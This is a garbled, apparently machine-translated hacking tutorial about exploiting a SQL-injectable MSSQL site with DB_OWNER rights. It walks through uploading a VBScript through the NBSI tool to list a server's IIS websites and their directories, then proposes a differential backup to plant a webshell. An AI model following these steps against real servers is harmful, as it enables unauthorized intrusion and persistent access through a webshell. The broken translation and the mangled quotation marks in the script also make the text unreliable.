¡¡¡¡First we under the examination this MSSQL database's user jurisdiction, has 2 kinds generally first, one kind is SA (system admin) the jurisdiction, this jurisdiction is very big; Also one kind is the DB_OWNER jurisdiction, this jurisdiction bestows on for the user some to the database revision, the deletion, increases the data sheet, carries out the majority of memory process jurisdiction. But involves to some system sensitive operation jurisdiction does not have, this is also it and the SA jurisdiction only difference.

We first seek for the website on server's table of contents, may use D to examine the table of contents, seeks for the website the table of contents, individual experience is in D, E, the F plate's place.

¡¡¡¡But how couldn't find sometimes to manage? So long as we uploaded the vbs document to be possible, the following document preservation was lookweb.vbs:

On Error Resume Next
If (LCase (Right (WScript.Fullname,11))= " wscript.exe ") Then
    Msgbox Space(12) & “IIS Virtual Web Viewer” & Space(12) & Chr(13) & Space(9) &” Usage:Cscript vWeb.vbs ", 4096, “Lilo”
    WScript.Quit
End If
Set ObjService=GetObject (“IIS://LocalHost/W3SVC”)
For Each obj3w In objservice
    If IsNumeric (obj3w. Name) Then
          Set OService=GetObject (“IIS://LocalHost/W3SVC/” & obj3w. Name)
          Set VDirObj = OService.GetObject (“IIsWebVirtualDir”, “ROOT”)
          If Err <> 0 Then WScript.Quit (1)
          WScript.Echo Chr(10) & “[” & OService.ServerComment & “]”
          For Each Binds In OService.ServerBindings
                Web = “{” & Replace (Binds, “: ”, “} {”) & “}”
                WScript.Echo Replace (Split (Replace (Web, ““, ""),”} {“) (2),”} “, "")
          Next
          WScript.Echo “Path        : “& VDirObj.Path
    End If
Next

¡¡¡¡Then uses NBSI to upload to the server on, then carries out the cscript X:\lookweb.vbs, in returns to obviously in the information us to be possible to see on this server the corresponding website and its corresponding website table of contents, is very convenient. The website table of contents is clear.

¡¡¡¡Has found the website table of contents, we may use the differential backup to gain webshell